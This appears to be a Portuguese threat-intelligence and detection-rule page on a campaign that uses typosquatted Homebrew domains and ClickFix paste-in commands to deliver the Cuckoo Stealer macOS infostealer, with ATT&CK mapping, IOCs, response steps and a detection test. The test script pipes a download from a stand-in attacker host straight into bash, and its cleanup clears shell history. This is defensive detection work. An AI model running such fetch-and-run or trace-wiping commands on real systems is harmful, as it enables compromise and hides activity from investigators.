Typosquat de Fake Homebrew Usado para Entregar Cuckoo Stealer via ClickFix
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O relatório descreve uma campanha que abusa de domínios do Homebrew com erros de digitação para atrair desenvolvedores macOS a executarem comandos de “instalação” maliciosos via a técnica ClickFix. Um comando curl de linha única redireciona as vítimas para uma infraestrutura controlada pelo atacante, entregando um loader de coleta de credenciais seguido pelo infostealer Cuckoo Stealer. O malware persiste através de um LaunchAgent, remove atributos de quarentena e exfiltra credenciais e dados de carteiras via HTTPS. A detecção deve focar em padrões de comandos curl e na infraestrutura associada.
Investigação
Pesquisadores rastrearam a isca inicial para homabrews.org, resolvendo para 5.255.123.244 na Holanda e hospedando múltiplos domínios similares (incluindo raw.homabrews.org usado para entrega). O script baixado executa um loop dscl authonly para validar credenciais macOS, então recupera um binário nomeado brew_agent. Na segunda etapa, o Cuckoo Stealer cria um plist LaunchAgent, remove bandeiras de quarentena e se comunica com C2 usando a troca de chaves X25519 com payloads criptografados por XOR. A caça à infraestrutura revelou uma rede de pelo menos seis domínios compartilhando o mesmo IP de hospedagem.
Mitigação
Educar os desenvolvedores para verificar URLs de instalação do Homebrew e evitar copiar e colar comandos não confiáveis no Terminal. Habilitar o registro em linha de comando e restringir padrões onde curl busca scripts remotos para execução imediata, especialmente linhas únicas no estilo “curl | sh”. A proteção de endpoint deve alertar sobre a criação suspeita de LaunchAgent e remoção de atributos de quarentena. Defesas de rede devem bloquear domínios maliciosos conhecidos e sinalizar tráfego para raw.homabrews.org e hosts relacionados.
Resposta
Quando um comando curl suspeito é detectado, isolar o endpoint, capturar o script e o binário brew_agent, e coletar o plist LaunchAgent para análise. Redefinir credenciais colhidas e revogar tokens comprometidos, especialmente para navegadores, Chaveiro, e carteiras de criptomoedas. Revisar forensicamente o diretório oculto BrewUpdater, quaisquer atalhos criados, e remover os arquivos maliciosos. Atualizar detecções com os IOCs extraídos e monitorar o reuso da mesma infraestrutura.
“graph TB %% Class definitions classDef technique fill:#e6f2ff %% Node definitions node_A[“<b>Técnica</b> – <b>T1659 Injeção de Conteúdo</b><br/><b>Descrição</b>: O atacante hospeda uma página web maliciosa que imita um site legítimo para entregar conteúdo malicioso quando um usuário visita.”] class node_A technique node_B[“<b>Técnica</b> – <b>T1204.004 Execução de Usuário: Copiar e Colar Malicioso</b><br/><b>Descrição</b>: A vítima copia um comando elaborado de uma página web e o executa em um terminal.”] class node_B technique node_C[“<b>Técnica</b> – <b>T1059.004 Shell Unix</b><br/><b>Descrição</b>: Uso de um shell Unix para baixar e executar um script de primeira etapa.”] class node_C technique node_D[“<b>Técnica</b> – <b>T1555.001 Credenciais de Armazenamento de Senhas: Chaveiro</b><br/><b>Descrição</b>: Acessar o Chaveiro macOS para coletar credenciais armazenadas.”] class node_D technique node_E[“<b>Técnica</b> – <b>T1555.003 Credenciais de Armazenamento de Senhas: Navegadores Web</b><br/><b>Descrição</b>: Extrair senhas salvas e cookies de navegadores web.”] class node_E technique node_F[“<b>Técnica</b> – <b>T1539 Roubo de Cookies de Sessão Web</b><br/><b>Descrição</b>: Coletar tokens de sessão ativos de navegadores e extensões.”] class node_F technique node_G[“<b>Técnica</b> – <b>T1614.001 Descoberta de Idioma do Sistema</b><br/><b>Descrição</b>: Consultar variável de ambiente LANG para determinar a localidade do sistema e evitar certas regiões.”] class node_G technique node_H[“<b>Técnica</b> – <b>T1543.001 Agente de Lançamento</b><br/><b>Descrição</b>: Instalar um plist de LaunchAgent em nível de usuário para persistência.”] class node_H technique node_I[“<b>Técnica</b> – <b>T1553.001 Ignorar Gatekeeper</b><br/><b>Descrição</b>: Remover o atributo de quarentena com xattr para ignorar o Gatekeeper do macOS.”] class node_I technique node_J[“<b>Técnica</b> – <b>T1027 Arquivos ou Informações Ofuscados</b><br/><b>Descrição</b>: Criptografar por XOR strings, payloads e configuração para ocultar conteúdo malicioso.”] class node_J technique node_K[“<b>Técnica</b> – <b>T1113 Captura de Tela</b><br/><b>Descrição</b>: Capturar capturas de tela silenciosamente usando a utilidade screencapture.”] class node_K technique node_L[“<b>Técnica</b> – <b>T1119 Coleta Automatizada</b><br/><b>Descrição</b>: Coletar carteiras de criptomoedas, notas, documentos e tokens de mensagens recursivamente.”] class node_L technique node_M[“<b>Técnica</b> – <b>T1573 Canal Criptografado</b><br/><b>Descrição</b>: Realizar troca de chaves X25519 ECDH para criar um canal criptografado C2.”] class node_M technique node_N[“<b>Técnica</b> – <b>T1102.002 Serviço Web: Comunicação Bidirecional</b><br/><b>Descrição</b>: Comunicar-se com o servidor de comando e controle via HTTPS.”] class node_N technique node_O[“<b>Técnica</b> – <b>T1041 Exfiltração Pelo Canal C2</b><br/><b>Descrição</b>: Transferir dados roubados através do canal criptografado.”] class node_O technique node_P[“<b>Técnica</b> – <b>T1529 Desligamento/Reinicialização do Sistema</b><br/><b>Descrição</b>: Executar um comando de reinicialização quando instruído pelo atacante.”] class node_P technique node_Q[“<b>Técnica</b> – <b>T1653 Configurações de Energia</b><br/><b>Descrição</b>: Acionar uma reinicialização do sistema para aplicar mudanças ou interromper a resposta a incidentes.”] class node_Q technique node_R[“<b>Técnica</b> – <b>T1070.009 Limpar Persistência</b><br/><b>Descrição</b>: Auto-destruição removendo binários e o plist LaunchAgent.”] class node_R technique node_S[“<b>Técnica</b> – <b>T1564.014 Ocultar Artefatos: Atributos Estendidos</b><br/><b>Descrição</b>: Remover o atributo de quarentena para evitar avisos do Gatekeeper.”] class node_S technique %% Connections showing flow node_A u002du002d>|leads_to| node_B node_B u002du002d>|leads_to| node_C node_C u002du002d>|leads_to| node_D node_C u002du002d>|leads_to| node_E node_C u002du002d>|leads_to| node_F node_C u002du002d>|leads_to| node_G node_C u002du002d>|leads_to| node_H node_H u002du002d>|enables| node_I node_I u002du002d>|enables| node_J node_J u002du002d>|enables| node_K node_K u002du002d>|enables| node_L node_L u002du002d>|enables| node_M node_M u002du002d>|enables| node_N node_N u002du002d>|enables| node_O node_O u002du002d>|enables| node_P node_P u002du002d>|leads_to| node_Q node_Q u002du002d>|leads_to| node_R node_R u002du002d>|leads_to| node_S “
Fluxo de Ataque
Detecções
Atividade Suspeita no Chaveiro (via process_creation)
Ver
Modificação de Permissões de Arquivos na Pasta Temporária Suspeita do MacOS (via cmdline)
Ver
Locais e Nomes Suspeitos de Plist no MacOS (via file_event)
Ver
Acesso Suspeito de Credenciais Armazenadas no Navegador MacOS (via process_creation)
Ver
Volume do Sistema MacOS foi Silenciado Usando Osascript (via cmdline)
Ver
Possível Coleta por Tentativa de Execução de Captura de Tela no MacOS (via cmdline)
Ver
Tentativa de Execução Curl Suspeita [MacOS] (via cmdline)
Ver
IOCs (HashSha256) para detectar: Typosquats Falsos do Homebrew Usados para Entregar Cuckoo Stealer via ClickFix
Ver
IOCs (SourceIP) para detectar: Typosquats Falsos do Homebrew Usados para Entregar Cuckoo Stealer via ClickFix
Ver
IOCs (DestinationIP) para detectar: Typosquats Falsos do Homebrew Usados para Entregar Cuckoo Stealer via ClickFix
Ver
Detecção de Comando de Instalação Malicioso no macOS via ClickFix [Criação de Processo no Linux]
Ver
Detecção de Domínio de Typosquatting e IP Malicioso na Campanha ClickFix [Indicadores de Rede]
Ver
Execução de Simulação
Pré-requisito: A Verificação Pré-Vôo de Telemetria & Baseline deve ter passado.
Fundamento: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.
-
Narrativa do Ataque & Comandos:
Um atacante obteve um script malicioso codificado em PowerShell hospedado em um servidor C2. Para evitar escrever arquivos no disco, o atacante transmite o script diretamente em um shell Bash usandocurl -fsSLe a-cflag. O comando é executado interativamente a partir de uma conta de usuário comprometida, imitando um instalador “click-fix” legítimo. Os passos são:- Resolver o URL do payload malicioso (por exemplo,
https://evil.example.com/payload.sh). - Canalizar o download para o Bash, instruindo-o a executar o conteúdo com
-c. - O payload realiza a coleta de credenciais, cria um arquivo oculto e então apaga o script temporário (cobrindo T1070.004).
- Resolver o URL do payload malicioso (por exemplo,
-
Script de Teste de Regressão:
#!/usr/bin/env bash # ------------------------------------------------- # Simular instalador malicioso macOS (estilo ClickFix) # ------------------------------------------------- set -euo pipefail MALICIOUS_URL="https://evil.example.com/payload.sh" # Transmitir o payload diretamente para o Bash com -c curl -fsSL "$MALICIOUS_URL" | /bin/bash -c "$(cat)" # Assume-se que o próprio payload executa suas ações maliciosas. # Para o propósito do teste, simplesmente ecoamos um marcador. echo "Payload malicioso executado" -
Comandos de Limpeza:
# Remover quaisquer arquivos que possam ter sido criados pelo payload rm -f /tmp/payload.sh # Opcionalmente, limpar o histórico de comandos para reduzir traços forenses history -c